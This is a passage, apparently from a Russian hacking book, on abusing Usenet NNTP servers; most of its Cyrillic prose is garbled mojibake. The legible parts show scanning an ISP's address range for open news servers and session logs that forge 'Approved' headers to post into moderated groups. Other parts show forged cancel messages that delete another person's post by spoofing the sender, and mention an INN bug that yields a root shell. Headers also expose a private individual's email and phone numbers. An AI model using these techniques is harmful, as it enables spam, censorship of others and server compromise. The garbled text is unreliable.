 ᨬ  ⢠ 裡  㦥 㥬 ࢥ, ⢥    ᮥ    ᪮쪨 ᥪ㭤  楫 ! ⮬,  襬 砥 ᪮ ᪠஢ ⠢ 浪 ⨤ -  IP-ᮢ  ,   襬    ६ 㤠 ஢ ᥣ   .
 , ᪮쪮  ᫥  让 .   < ஥ ᪠ ⮢> [235] ᪠뢠   ᯮᮡ,  ᪮  ᪠஢,    ⨬騥   ਬ﫨, (ਬ, ⪨ ᨭ஭ ᮥ  ᪮쪨 㧫 ६), 䥪⨢ ⠪ 室    ⥫쭮 㢥祭  ᨫ ஬ ᫠  IP-ᮢ.
஢ ਣ  ᫥   ࠧ ,      訩 NNTP-ࢥ  Internet 祭 㤭, ᪮ ⠪ ࢥ஢ ⭮⥫쭮 ,    筮 ࠢ୮ ।  ࠭ IP-ᮢ.


१ <ଠ>




 ॡࠥ ᮢ  ⢥ 㧨, ᫨     ⥫ 䠪,   IP-, ਭ騥  ஢, 筮 祭   .
 ᫥饬 ਬ  ⢥ ꥪ ᪠஢ [236] 㯠 㯭 ⠢騪 ⥢  ( ⮬ ᫥  ⥫७権) , 㡫 web-ᠩ ண ⠪ 뢠 www.demos.su, (IP- ࠢ 194.87.0.48 [237])
ᯮ  ᪠, (ਬ, <SuperScan>, ᯮ  ࠭窥 http://members.home.com/rkeir/software.html)  ᫥ 㧪  ᮢ 194.87.0.1 - 194.87.0.254 ᥣ   ⮪ - 㣮 .
 १ ⮩ 樨 㦨,    ⢮ ஬ SMTP  NNTP ࢥ஢,   אַ 㯠! ਬ, ⠪ :
nntp://relay2.demos.su

nntp://news.ru [238]
nntp://jubo.demos.su
nntp://new2.demos.su
nntp://nntp.demos.su
ࠣ ⮪ ᪠஢ 室  ᪥   /LOG/demos/txt.  ⨯祭  㯭 ஢, 饣  ᢮ ᯮ殮 ⪨ ࢥ஢.
㣮 ᯮᮡ ᪠ ᯫ NNTP-ࢥ஢ 砥  祭  ᮮ饭, 祭   NNTP-ࢥ.   ⢨  , ᮮ饭 室 १   ᪮쪮 ࠭ ࢥ஢,    砥   ᢮ .
 । த NNTP-ࢥ  ᪨ ⮢ 騪,  ᯮ樥   ஭ ᢥ. । ࠭ ࢥ஢  ࢥ஢ ࠢ⥫ ᮮ饭    ⠪,  ।⠢ ᯫ  ᥬ 짮⥫.
 , த ᮮ饭, ᮤন   "Path",  ࢥ ࠢ⥫   "NNTP-Posting Host".  ਬ, ਢ ,    ᮮ饭: ( "Path"  "NNTP-Posting Host" 뤥  ⮬):
 Path: news.medlux.ru!Melt.RU!carrier.kiev.ua!news.kharkiv.net!useua!not-for-mail
 From: Nadezda Alexsandrovna <okline@email.itl.net.ua>
 Newsgroups: medlux.trade.optika
 Subject: I am looking for a permanent wholesale buyer of women's hair 30-60 cm long of all colours. Phone in Kharkov (0572)329639, 364556, fax 329763.
 Date: Thu, 6 Apr 2000 05:01:15 +0300
 Lines: 16
 Distribution: world
 Message-ID: <8cgr73$bsl$25@uanet.vostok.net>
 Reply-To: okline@email.itl.net.ua
 NNTP-Posting-Host: ums.online.kharkov.com

 NNTP-Posting-Date: 6 Apr 2000 02:02:11 GMT
 Xref: news.medlux.ru medlux.trade.optika:904
 From: a@b.c
 Subject: ammivit
 Reply-To: korzina@windoms.sitek.net
 Message-ID: <xjfEiY4l$GA.192@mailserver.corvis.ru>
 Newsgroups:ural.commerce
 Date: Mon, 27 Mar 2000 04:48:14 +0400
 Lines: 25
 Path: news.medlux.ru!mailserver.corvis.ru
 NNTP-Posting-Host: t1-55.sitek.net 212.34.32.118
 Xref: news.medlux.ru relcom.medicine.blood-service:2982
ࠧ⥫쭮,    ᮮ饭 뢠 ᥬ ᥬ NNTP-ࢥ஢ (    ᠬ 訩 १)!  , ᫥ :
 nntp://news.medlux.ru (ᯫ)
 nntp://Melt.RU (  )
 nntp://carrier.kiev.ua (ᯫ)
 nntp://news.kharkiv.net (ਢ)
 nntp://ums.online.kharkov.com (  )
 nntp://mailserver.corvis.ru (ᯫ)
 nntp://t1-55.sitek.net (  )
   㧫  ⮩ 稭  ⢥砥 [239], १⠬ <㫮> 㤭 ⠢ .   ᥣ  ᮮ饭   ᯫ ࢥ, ࠧ ⨭.
 ᫨ ஠஢  ᮮ饭, 室騥     ࢥ஢,   ᮮ饭      ࢥ஢,  ४ᨢ ᪮       NNTP-ࢥ, 騥  !
  ⠪ 樨 - ய᪭ ᯮᮡ , ᮥ饣 饣  Internet.   ᮮ饭 १   ॠ쭮. ⮬,    ५   ⮭ ਯ, ࠡ饣  㧫   ,  ࠧ묨 ᯮᮡ ⨬஢  (⠪, ਬ,   祬     ⮣     ᮮ饭,  ⢮ 㭨 ࠢ⥫   ,  筮) [240].
祬, 㡮 ᪠஢  ᫥. 筮   (ᨬ -)    NNTP-ࢥ,   ᢮ ࠭  祭 .
 ⮬ ᥪ ᪠ ᯫ NNTP-ࢥ஢ 稢. 筮, ᠭ  樨  믮 뫮  㤭⥫쭮,     ⮬⨧樨  㦥 ॠ  ⪠ ࠧ ணࠬ. 让 ୮  㯮  <News Hunter 4.0> (http://www.slip.net/~rain/nh/).  ᥣ 祣  㬥 ⮨ 㤮    ᪮ ᮥ   㧫, -      ᠬ 訩.
 ᮦ,  ᫥   ᠭ , ⢥ ,  ᭠ ᪠஬ IP-ᮢ ,  ࠩ ,    NTTP-ࢥ 짮⥫   ᠬ⥫쭮.
 ⮣ ਣ ⮤, ᠭ  砫 . 筮   ࢥ, ।⠢騩     ⥭  - ७.   ᮮ饭, <News Hunter>   ⠫.




㭮 14  ࠡ News Hunter



, ᯮ  ⠪ ࠧ ࢥ, 室 ᥣ  ⮢  ⮬,     ⨪ ஢  , ᫥⢨ 祣 ᢮   ஥ ६ ( ᥣ) . ⢥ ᯮᮡ ⮣  - 짮 묨, 묨 ᠬ.



१ <ଠ> *



쬠 㤮 ࢨᮬ  www.MailAndNews.com, 騩 ࠢ 쬠  ७樨: אַ  ᢮ ⮢ 騪.     ন ⮪ IMAP4, , ।⠢ ᫮ 栬 ࢥ:
You can use this service to create a free e-mail account that will be accessible from any web browser, anywhere in the world. You will also have access to newsgroups and the ability to check your mail from any touch tone phone, plus a variety of wireless devices. MailandNews.com also works with other Internet e-mail clients, allowing you to access your new mailbox using Outlook Express, Netscape Messenger, Eudora, Pegasus Mail, or Infinite Technologies ExpressIT! 2000.








⠪  NNTP-ࢥ.


O  ⮩ :
O  ࠢ  ᮮ饭?
O   䨫 IP ᮢ?
O  ࠢ ᮮ饭  ७  騬?
O   ᯮ짮 ࠢ騥 ᮮ饭?
O   ஫  㤠 設?
 ᠭ NNTP-⮪ 㯮,  設⢮ ࢥ஢ । IP- ࠢ⥫ ᮮ饭     .   ॢ? ⠢ ᢮ ⥢ न  ᥮饥 ७, ࠢ⥫ 쥧 , ࣭ ⠪  ஭ 諥, 訢襣     ᯫ.  ⮣, 㤭 ⠭  ஢ ਭ    IP-,  ᭨,  ࠩ , ᪮ ந宦 ࠢ⥫ ᮮ饭.  㦥 㪮   ⠭ 筮 . 㡮 , १ ⨪   । 㦮 ,  ,  멤  ꥧ, 嫮  थ [241].
⮬,  窨 ७ 筮 ᭮, IP-  . ⮣  , ᯮ Proxy-ࢥ,  ਯ, ᯮ騩  㤠 㧫.  ᠭ ⠪ ਯ  祣 ᫮, - 筮 ᯮ  NNTP-⮪  ᫥⥫쭮 ।  ࢥ, १ TCP-ᮥ.  몥 Perl ⨭    ⪠ ப. ⥩訩 ਬ 室  ਫ   ᪥,  䠩 "/SRC/nntp_post.pl".  ।祭  ᪠ १ 㧥    饭   ࢥ, ন騩 CGI.
 ࠡ ਯ  :




㭮 16  ࠡ ਯ, ᮧ饣  ᮮ饭



 ᮮ饭, ࠢ   ਯ,  룫拉 ਡ⥫쭮 ᫥騬 ࠧ:


 Path: news.medlux.ru!not-for-mail

 From: <kpnc@aport.ru>

 Newsgroups: medlux.test

 Subject: helo

 Date: 11 Apr 2000 10:33:45 GMT

 Organization: Medlux InterNetNews site, Moscow, Russia

 Lines: 1

 Message-ID: <8cuv29$f8p$1@news.medlux.ru>

 NNTP-Posting-Host: spider.softclub.net

 Xref: news.medlux.ru medlux.test:548



 Helo!




뤥  ⮬ ப   ⮬,  ࠢ⥫ 㬥  !    ᮮ饭  ᮤন  ଠ樨, ᯮᮡ ஫ ᢥ   ந宦,  ᪫祭 ᢥ ⠢  ᠬ⥫쭮.
 ਥ  ᯮ  ⮫쪮  ᮪ ᮡ⢥ ,    㣨 楫. ਬ,  NNTP-ࢥ 㯭    *.NET,   *.COM  ⥬  *.RU


१ <砭>




, 筮,      ᥪ,  ⥫ "from Russia Federation"   쬨 ண . ன  뢠 , ⪠뢠 ।⠢ ᯫ ⨭,      .
⮬,   ⠭ 㯭묨   ᯮ짮  Proxy-ࢥ஢  ਯ⮢, ᯮ  ᮮ⢥ .
, ⢥ ࢥ news://news1.demos.su/ 㯥 ᪫⥫쭮 -  *.net [242],   ⪥ ᮥ    㣨 짮⥫  ᮮ頥, ࠧ뢠 ᮥ:
 502 You have no permission to talk. Goodbye
㣮  稭 ⪠  㦨 ⠭  ।      IP  (Reverse Lockup).   ᪫⥫쭮  ⮥ DNS-ࢥ ஢ ,     ন ⠪ .
 ⮬ 砥, ᮮ饭 設⢠ NNTP-ࢥ஢  룫拉 ਡ⥫쭮 ᫥騬 ࠧ:
 502 You have no permission to talk, (reverse dns disabled, see nodns in dnews.conf) {209.143.154.93}, Goodbye
,  ⢮ 稭  ᯮ짮 Proxy-ࢥ஢   㣨 ᯮᮡ  NNTP-ࢥ  㦤.  ᯨ᪨ 饤㯭 Proxy   ⮫쪮  짮⥫,   ஢,  ன    < ᯨ᮪>. ⨢, ᯮ짮 ਯ⮢  稫 ᮢ ࠭, ⮬, ⮫쪮 ࠭᪨      ࢥ஢, ।⠢ ᯫ ⨭.
騩 ਬ  祭  㧫 nntp://news1.demos.su, ⥬ ᯮ짮 ᫥ ஢ 䠩 nntp_post.pl (䨪 砥    ࢥ,    "LIST"  뤠 ᯨ᪠ 㯭 㯯).
 ᥪ㭤- ᫥ ᪠ ਯ   㧥   ⥪, ਡ⥫쭮 ᫥饣 ᮤঠ:



201 demos2 InterNetNews NNRP server INN 1.7.2 14-Dec-1997 (DEMOS revision) ready (no posting).

>LIST

 215 Newsgroups in form "group high low flags". demos.local.ads 0000000003 0000000004 m.




  ᠭ ⮩ ,  㯭 ᥣ   ७,     㬥蠥 稬 ⮣ 䠪,  㤠 <>  ࢥ,   ஬  ଠ쭮 室 饩 ⠢ .
 ⢥ ୠ⨢  ஡  ᯮ塞    ࢥ,   設,  ன  ( ⥭樠쭮)    室 .


१ <ଠ>




।  ᮢ ,  ࠩ , ,   ᢮ 㦤 ᠬ NNTP.  砫쭮  <Worm.Happy> (Internet - )  <Win32.Parvo> (䠩).
 ⠭ ᮥ  NNTP-ࢥ஬  ⮫쪮  ஡. ࠧ    ᮧ ᮡ⢥ ᮮ饭. 設⢮ ७権 (ᮡ  㯯 Fido7)  אַ ⨭,  ⠪ 㯯 ⬥ 䫠 "m" ( ᪮ moderator - 騩 ७樨).
⪠ ந஢  ࠭祭   祬  ਢ.  ᫨ ᥢ ⢥न ᯥ譮 ࠢ, ᮮ饭 㤠 㤥 ࠢ.  ᫨    ᮮ饭  "Approved"  㪠   (  ࠢ⥫), ⠪ ᮮ饭, ᪮॥ ᥣ, 㤥 ਭ,  ࠢ쭮,   ஡   ७.
⮪, ਢ  ( ᪥, ਫ  ,  室  䠩 "/LOG.nntp_post.log"),  ᯮ짮  "Approved"  ࠢ ᥬ  ७,   ன  ᯮᮡ .


 ; ⠭ ᮥ  ࢥ஬ news.medlux.ru  119 

 200 news.medlux.ru InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready (posting ok).

 ; 祭 ᯨ᪠ 㯭 ७権  ࢥ

 ;  롮   , 砭 䫠 m

 list

 215 Newsgroups in form "group high low flags".

 medlux.dept.docs 0000000173 0000000174 m

 medlux.dept.lic 0000000086 0000000087 m

 medlux.dept.qual.doc 0000000150 0000000151 m

 medlux.doc.acc 0000001621 0000001622 m

 medlux.doc.apt 0000000320 0000000321 m

 medlux.doc.ministry 0000000808 0000000809 m

 medlux.doc.mos 0000001722 0000001723 m

 medlux.doc.rus 0000003030 0000003030 m

 medlux.doc.spb 0000000367 0000000368 m

 medlux.drugs.reg 0000000041 0000000042 m

 medlux.drugs.safety 0000000142 0000000143 m

 medlux.fido.su.medic 0000036131 0000036110 y

 medlux.firmhist 0000000616 0000000600 y

 medlux.health 0000001748 0000001625 y

 medlux.journal.top 0000000306 0000000307 m

 medlux.journal.vit 0000000113 0000000114 m

 medlux.medsci.anes 0000000465 0000000442 y

 medlux.medsci.cardiol 0000000572 0000000528 y

 medlux.medsci.dent 0000000441 0000000406 y

 medlux.medsci.dermatol 0000000488 0000000443 y

 medlux.medsci.diag 0000001059 0000001004 y

 medlux.medsci.endocrin 0000000495 0000000448 y

 medlux.medsci.gastroent 0000000483 0000000427 y

 medlux.medsci.gyn 0000000683 0000000636 y

 medlux.medsci.hematol 0000000400 0000000358 y

 medlux.medsci.immunol 0000000436 0000000389 y

 medlux.medsci.inform 0000001250 0000001176 y

 medlux.medsci.neurol 0000001093 0000000989 y

 medlux.medsci.oncology 0000000652 0000000596 y

 medlux.medsci.ophthalm 0000000476 0000000436 y

 medlux.medsci.pediatr 0000000686 0000000650 y

 medlux.medsci.pharmacol 0000000693 0000000629 y

 medlux.medsci.pulmonol 0000000396 0000000359 y

 medlux.medsci.san-hyg 0000000400 0000000367 y

 medlux.medsci.surg 0000000674 0000000637 y

 medlux.medsci.talk 0000000961 0000000906 y

 medlux.medsci.therapy 0000000465 0000000429 y

 medlux.medsci.urol 0000000491 0000000456 y

 medlux.medsci.z 0000000654 0000000606 y

 medlux.mfy.exhibitions 0000000159 0000000160 m

 medlux.mfy.expo 0000000047 0000000048 m

 medlux.mfy.public 0000000096 0000000097 m

 medlux.misc.advert 0000002695 0000002689 y

 medlux.misc.gossips 0000000470 0000000470 y

 medlux.misc.jobs 0000003661 0000003620 y

 medlux.newspaper.szs 0000000470 0000000471 m

 medlux.newusers 0000000377 0000000375 y

 medlux.postmasters 0000000137 0000000138 m

 medlux.request 0000000450 0000000448 y

 medlux.trade.cosm 0000001681 0000001675 y

 medlux.trade.dent 0000000850 0000000847 y

 medlux.trade.drugs 0000006884 0000006879 y

 medlux.trade.herb 0000001340 0000001329 y

 medlux.trade.lab 0000001762 0000001753 y

 medlux.trade.mtechn 0000004666 0000004654 y

 medlux.trade.optika 0000000904 0000000900 y

 medlux.trade.rubber 0000002936 0000002928 y

 medlux.medsci.contents 0000000310 0000000272 y

 medlux.journal.cg 0000000040 0000000041 m

 medlux.medsci.homoeopathy 0000001365 0000001253 y

 medlux.fido.ru.medic.profy 0000008681 0000008678 y

 medlux.test 0000000546 0000000543 y

 medlux.journal.umo.science 0000000002 0000000003 m

 medlux.journal.umo.z 0000000002 0000000003 m

 medlux.fido.ru.baby.medic 0000010291 0000010233 y

 medlux.trade.service 0000000722 0000000708 y

 medlux.medsci.orthopaedics 0000000245 0000000215 y

 medlux.medsci.cardiovascular 0000000119 0000000089 y

.

 group medlux.doc.rus

 211 0 3030 3030 medlux.doc.rus

 ;  ⮩ 㯯    ᮮ饭!

 next

 421 No next to retrieve.

 ; ⢨⥫쭮,  祣 !

 ; ⪠ ᮧ  ᮮ饭

 post

 340 Ok

 ; 襭 ࠢ? , ࠭:

 Newsgroups:medlux.doc.rus

 From:kpnc@id.ru

 Subject:try



 Hello,Sailors!

.

 240 Article posted

 ; 㦥 ᮮ饭 뫮 ࠢ?!

 group medlux.doc.rus

 211 0 3030 3030 medlux.doc.rus

 ; 쪨 ! ন 㯯   . 饭  뫮 ࠢ

 ; ⪠ ࠢ ᮮ饭  ᯮ짮  Approved.

 post

 340 Ok

 Newsgroups:medlux.doc.rus

 From:kpnc@id.ru

 Subject:Test

 Approved:kpnc@aport.ru



 Helo,World!

.

 240 Article posted

 ; ஢ઠ  ᮮ饭  ࢥ

 group medlux.doc.rus

 211 1 3030 3030 medlux.doc.rus

 ;  ࢥ   ᮮ饭!

 ; ஢ઠ -    ᮮ饭,  뫮 ࠢ

 article

 220 3030 <8cn8dr$f3g$2@news.medlux.ru> article

 Path: news.medlux.ru!not-for-mail

 From: <kpnc@id.ru>

 Newsgroups: medlux.doc.rus

 Subject: Test

 Date: 8 Apr 2000 12:24:27 GMT

 Organization: Medlux InterNetNews site, Moscow, Russia

 Lines: 1

 Approved: kpnc@aport.ru

 Message-ID: <8cn8dr$f3g$2@news.medlux.ru>

 NNTP-Posting-Host: ppp-18.krintel.ru

 Xref: news.medlux.ru medlux.doc.rus:3030



 Hello, World!

.

;  ਥ J

 next

 421 No next to retrieve.

 ; 襭 ᥠ

 quit

 205.






 ࠡ⠫! 饭    ࢥ,   ஥ ६  ࠧ᫠ ᥬ ⠫ [243].  ᮦ, ୮ ᪮ ணࠬ ᯥ祭  ন    "Approved",   室 ᮧ ᮡ⢥ 㬥 ( ࠡ ,  ᠬ ,     telnet-).
 ᪥, ਫ  , ᮤন 樮 ਬ "/SRC/nntp/htm",   ࠢ ᮮ饭  㥬 ७樨.   來  ᫥騩 ᯥਬ. ᫨  㯯 < 騬> [244], (ਬ, medlux.doc.rus  ࢥ nntp://news.medlux.ru)  ஡ ࠢ ᢮ ᮮ饭   <Outlook Express>,     㯮⢮ ⪠   ७. , ᫨ ᯮ짮 ਯ "NNTP Test Post",  ᮮ饭 ⥫쭮   㯯!




㭮 017  ࠢ ᮮ饭  ७  騬



  ࠢ ᮮ饭  룫拉 ਡ⥫쭮 ⠪ ( "Approved" 뤥  ⮬,     㤠  ࠭祭 ࢥ):
 Path: news.medlux.ru!not-for-mail
 From: KPNC@aport.ru
 Newsgroups: medlux.doc.rus
 Subject: Test posing
 Date: 11 Apr 2000 11:06:28 GMT
 Organization: Medlux InterNetNews site, Moscow, Russia
 Lines: 1
 Approved: KPNC@aport.ru
 Message-ID: <8cv0vk$fep$1@news.medlux.ru>
 NNTP-Posting-Host: spider.softclub.net
 Xref: news.medlux.ru medlux.doc.rus:3032







 Hello,Sailor!
  ⥯ 㤠 ⮢ ᮮ饭  㯯 [245].    ᤥ?    ᯮᮡ ࠢ ࢥ஬?   ᪮ ६,   뫠 㯭 ࠭祭  ,    쥧  뢠  ᭮, 뫠 । 楯 ࠢ ᮮ饭.      砫  ⮬,  ᫨  ᫠ ᮤঠ  祢 ᫮, ࢥ ஢ ᫥騩   ⥪  .
 ⮤   ୮  ࠧࠡ稪   ਢ饩  ॠ樨        . 設⢮ NNTP-ࢥ஢ ᪠ 㤠 ஢,  ॡ  ⮣  ࠢ.
ࠢ騥 ᮮ饭 ⫨   ⠫ 稥  "Control"    祢 ᫮ "cmsg"   "Subject", ⠢  ண   . ⮬,  㦤  ᯥ樠஢ ணࠬ ᯥ祭  ஢ ࢥ,  ᮩ   .


१ <ଠ>




-  ந室 ᪮쪮 . ࠢ騬 ⠫  "Subject",  ᮮ饭, ᮢ 㯯 "all.all.ctl".  ᯥ祭 ᮢ⨬  ࢥ    ন ⠪ ,  ᠭ 楯 ५     ਮ.
,   ⪠  ᢮ ࢥ  ⠭ 䨫  ࠢ ᮮ饭   뢠  ⮩ 쪮 㬥஢ (,  㬥஢) ᮡ.
 ࠢ騥 ᮮ饭   , ⮬   ᯮ  ࣠樨 ⢨  NNTP-ࢥࠬ. 祬,  ந ⥬ ᭮ ⠪, ⮡ ⥭樠쭮 <>  ॡ ⥭䨪樨 짮⥫  뫨 㯭   ᮮ⢥騬 ਢﬨ 㯠.   設⢥ 砥 ⠭     , ᯮ ⥩訥 ਥ   .
 㤠 ᮮ饭  ᯮ짮  "cancel", 㪠 㭨 䨪 ("Message-Id") 㤠塞 ᫠. ࠢ ⠪   ⮫쪮  ࢥ   ᮮ饭,    "From"  㤠塞  ࠢ饬 ᫠  ᮢ [246].
 ⮣ ⮡ 㧭 䨪 ᮮ饭, 筮 ᯮ짮  HEAD. ᫨ 㤠塞 ᮮ饭 ⥪饥,    룫拉, ਬ, ⠪:


 HEAD

 220 3031 <8cn934$f3r$2@news.medlux.ru> article

 Path: news.medlux.ru!not-for-mail

 From: kpnc@id.ru

 Newsgroups: medlux.doc.rus

 Subject: Test

 Date: 8 Apr 2000 12:35:48 GMT

 Organization: Medlux InterNetNews site, Moscow, Russia

 Lines: 1

 Approved: kpnc@aport.ru

 Message-ID: <8cn934$f3r$2@news.medlux.ru>

 NNTP-Posting-Host: ppp-18.krintel.ru

 Xref: news.medlux.ru medlux.doc.rus:3031





.



⮡   㡥  ᯥ譮 믮 樨, 室 ᯮ짮  GROUP,  ᫮ ᮮ饭  㯯  ⪨ 㤠 ᯮ樨.
 group medlux.doc.rus
 211 3 3030 3032 medlux.doc.rus
 Newsgroups:medlux.doc.rus
 From:<kpnc@aport.ru>
 Approved:<kpnc@aport.ru>
 Subject:cmsg cancel <
8cn934$f3r$2@news.medlux.ru>


 ࠧ  ᯮ짮 㦥  "Control", ⮣  㤥 룫拉 ⠪:
 Newsgroups:medlux.doc.rus
 From:<kpnc@aport.ru>
 Approved:<kpnc@aport.ru>
 Control: cancel <8cn934$f3r$2@news.medlux.ru>
 Subject: Hello, Server!
 "Subject"  ⢮   ⮬  㣮 砥,  ࢥ  ࠢ ᮮ饭.
᫨ 㤠 諮 ᯥ譮, १ ࠡ  "GROUP"  룫拉 ਡ⥫쭮 ⠪:
 group medlux.doc.rus
 211 2 3030 3031 medlux.doc.rus
⢮ ᮮ饭 㬥訫  ! ⥫쭮,    뫮 ⮫쪮  㤠. 祬,   ᪠ 稪  ந諮   [247], 筮     ࢥ, 㦥 ᯥ   ᮮ饭.


१ <砭>




짮 ࠢ騬 ᮮ饭ﬨ ᫥ ࠩ ஦.   訡 ࠡ⪨, ᮮ饭  訡 頥  ࠢ⥫,   ⥬, ᫥騥 ⢨ ண ।㣠 㤭.
祬,   㤠 ᮡ⢥ ᫠!  ᫨  뫮    த뢠   㦮 ᯮ樥.  祬  ? 筮 ⠢ 䨪⨢    "From"   ᮮ饭.
ᯥਬ, ਢ ,  㤠 㦮 ᮮ饭  ࢥ:
 From: Nadezda Alexsandrovna 
[248]
<okline@email.itl.net.ua>
 Newsgroups: medlux.trade.optika
 Subject: I am looking for a permanent wholesale buyer of women's hair 30-60 cm long of all colours. 
Phone in Kharkov (0572)329639, 364556, fax 329763. [249]
 Date: Thu, 6 Apr 2000 05:01:15 +0300
 Organization: AOZT'Sharm'
 Lines: 16
 Distribution: world
 Message-ID: <8cgr73$bsl$25@uanet.vostok.net>

 Reply-To:okline@email.itl.net.ua

 NNTP-Posting-Host: ums.online.kharkov.com
 Mime-Version: 1.0
 Content-Type: text/plain; charset=koi8-r
 Content-Transfer-Encoding: 8bit
 X-Trace: uanet.vostok.net 954986531 12181 194.44.206.227 (6 Apr 2000 02:02:11 GMT)
 X-Complaints-To: usenet@vostok.net
 NNTP-Posting-Date: 6 Apr 2000 02:02:11 GMT
 Summary: Please call us or write in Russian or English.
 Keywords: hair
 X-Mailer: Mozilla 4.61 [en] (Win95; I)
 Xref: news.medlux.ru medlux.trade.optika:904
  ᮮ饭    "From"  "Reply-To".  ᨬ  ஥ ࢥ   ஢  ⮫쪮 ࢮ  ,   ,  㣮 ࠧ.


१ <ଠ>




⠭ ।뢠 ᫨  "From"  "Sender" (᫨ )  祣     ⠫. ⮬ ࠧ ࠧࠡ稪  ॠ뢠  -ࠧ.
ਬ,  ࠢ ᮮ饭 ᫥饣 ᮤঠ,  ஬    "From".
 From: Nadezda Alexsandrovna <okline@email.itl.net.ua>
 Newsgroup: medlux.trade.optika
 Approved: Nadezda Alexsandrovna <okline@email.itl.net.ua>
 Subject: cancel <8cgr73$bsl$25@uanet.vostok.net>
  筮 ࠧ  㤠 ᮤন  ७権, 筮 ᯮ짮 ᫮ ਯ⮬,   稭 
 ਫ  ⮩ .


१ <砭>




 ᮦ,  ⢨⥫쭮 祭 ⮩ ਯ,   ﭨ   稭騩 ணࠬ. ⥫ ,    NNTP-ࢥ஢ 쥧 ⭮ᨫ  ᠬ ᭮   ଠ樨.
ࠧ    ᠭ樮஢ ᮧ  㤠 ७権. -, -,   ⢮ Internet,  짮⥫  ᮧ ᮡ⢥ 㯯,  㤠  [250].
 ᮧ  ७樨 뫮 筮 ᯮ짮 ࠢ饩  <newgroup 㯯>, ᫠   <all.all.ctl>.   ᪮쪮 . 쪮 । ࢥ ࠧ 冷 짮⥫  樨, , ஬ ⮣, 㤠 ࠢ ᮮ饭?       . ਬ,  nntp://mailserver.corvis.ru  ᯥ樠 㯯, 室騥  ᠬ 砫 ᯨ᪠, 뤠  LIST.
 list
 215 list of newsgroups follow
 control.cancel 7463 7423 y
 control.newgroup 1 2 y
 control.rmgroup 0 1 y
:
  ⮨ , 㦨 䫠 "y", ࠧ騩 ⨭.  ⪥ ࠢ ࠢ饥 ᮮ饭, ࢥ ॡ ਧ樨, ᨢ    ஫ . ᫥  ᭨  ॡ஬.  ࢮ  訡  ࢥ  㢥  ⠪.
, ᪠ , ࠢ   㤠 㯯, ஥ ⥮᪨ ⢫  "rmgroup ",  ࠪ᪨   㤠    ࢥ, ᪠饣  믮 ਧ 짮⥫.
   ਢ஢ , 㯭 ᥬ 짮⥫. ᬮ  <᮫> , ।  ன   㤨  . ਬ,  "SENDSYS", 뤠 ᯨ᮪  <ᥤ> ࢥ,   奬 뫪 ७権.  ଠ   묨 ᨫﬨ ந ⮯  Usenet,   ।  ᯫ ࢥ஢   ᯥ⨢ ࠢ (.. ஢ 㯭訥 㧫,  ⢮ 室 稪).


१ <砭>




 맢 㤨,   "SENDSYS" ⭮   ਢ஢,  ⠪  ⠢ Usenet.  ࢮ  ਭ⮩ ࠭ RFC-1036 ᮤঠ ᫥騥 ப <This information is considered public information, and it is a requirement of membership in USENET that this information be provided on request:>
祬, RFC -  㣮   ਤন    易,    砥  ࠪ⨪.
㣮 , ᯮᮡ    ࠢ ᮮ饭, ⠥ "IHAVE" (  ࠢ騬 ᮮ饭 "ihave"). 筮  ᯮ  ᨭ஭樨 ᮮ饭, -     㧥 ᮮ頥 㣮 䨪   ᮮ饭   砥 ⢨ 筮 ᯮ樨 ࢥ ࠦ ⮢ ਭ 饥 ᮮ饭  ᥤ.
    ⮪ <IHAVE-SENDME>  ࠧࠡ뢠 ᪫⥫쭮  ⢨ 㧫,   짮⥫. ᪨   蠥 諥 ਪ ࢥ஬  ᮮ  稥    ᮮ饭.  ࠧ,  뫮      ⥬ 㯯, ⨭    ଠ쭮 室 饩 ⠥ .
ࠪ᪨ ,  ⠪ ⢨. ਬ ॠ権  ࢥ஢   <IHAVE> ਢ :
 200 news.medlux.ru InterNetNews NNRP server INN 1.5.1 17-Dec-1996 ready (posting ok).
 IHAVE <kpnc@post.me>
 480 Transfer permission denied
 201 nn02.news.ocn.ad.jp InterNetNews NNRP server INN 2.2 21-Jan-1999 ready (no posting).
 IHAVE <kpnc@astronomy.net>
 480 Authentication required for command
 200 NNTP Service MicrosoftR Internet Services 5.5 Version: 5.5.1877.19 Posting Allowed
 IHAVE <1976@ngc.org>
 502 Access Denied.
뢠, ४ ࠭ ⠭ ⠭⠬, ⮪ <IHAVE-SENDME> ᯥ  ।⢠ ਧ樨  䨫ࠬ IP-ᮢ ࠢ⥫. 뭥 ࠢ ᮮ饭  ࢥ    㧫,   <> ⥫.
祬,    ⥪  ᯥ譮 ⠪. (ਬ,  䠫䨪 IP-ᮢ ࠢ⥫).  NNTP-⮪ ࠧࠡ뢠   ।    ᮮࠦ ᭮, ⮬  ࠡ⪨ 筮    ⥫. ⨢, ணࠬ ॠ樨  ᮤঠ 訡, 騥 墠 ஫  㤠 ⥬.
⨭ ୮ ⠫ 訡, 㦥  INN 1.4-INN 1.5, 㦥 7  1995 .  㯮 㪢쭮   筨, ⠪   易  ᭮.


१ <ଠ>




ࢥ INN 1.4 ᮤঠ 쥧 訡,  믮    㤠 設.  ⮣  筮 뫮    ࠢ饣 ᮮ饭.  﫠  ᨬ  ⮣, 뫨  ࠧ襭 ࠢ騥 ᮮ饭  . 稭 砫  ⮬,  ࢥ ࠡ뢠 ᮤন  "Control"    "eval" 窨 <sh>, ⠪ ࠧ, 諥 砫     १ Exec,  ਢﬨ root.
⥫쭮,  訡 ࠭   ᫥饩, ᨨ ணࠬ,   ⮬ ६ 㦥 ⠫ ப ⭠.  㦨  㣨 ,    㧭 ஡  www.securityfocus.com
祬    <Microsoft Exchange Server>, 梨 ⨢ ⠪ <⪠  㦨>.   Microsoft  ᥣ ⨢ 몫뢠 <⪨>,  , 祬, ࠭  訡, ।  .


१ <ଠ>




 Microsoft Exchange Server  5., 뫠 饭 訡  ॠ樨 ࠡ稪  "AUTH" ("XAUTH")  "EHLO", 易  ९ .  ⮬ 﫠 ᫥饥 ᮮ饭:
msexcimc.exe - Application Error
The instruction at "0x77f7d514" reference memory at "0x711cc771".
The memory could not be written.
᫥ 祣 ࢥ ४頫 ᢮ ࠡ (樮 ⥬  ⮬  ᠫ).








⮪ HTTP


O  ⮩ :
O  ࠡ  HTTP-ࢥ஬
O  믮 ணࠬ
O 䨪  㤠 ᮢ  ࢥ
O 堭 ⥭䨪樨
O 䥩 CGI
O   HTML
ᯮ୮, HTTP (Hyper Text Transfer Protocol) ⭮     ⮪      ᨫ쭥   ⠪ 䥥,  FTP, NNTP, POP3, SMTP, IMAP4. ६ 짮⥫ ᪠稢 䠩, 饫 誮  뫪,   ७, ࣠  WEB-ࢥ, ।  ਭ    㧥. ,  窨 ७ 뢠⥫, Internet  WWW - ᫮-ᨭ.
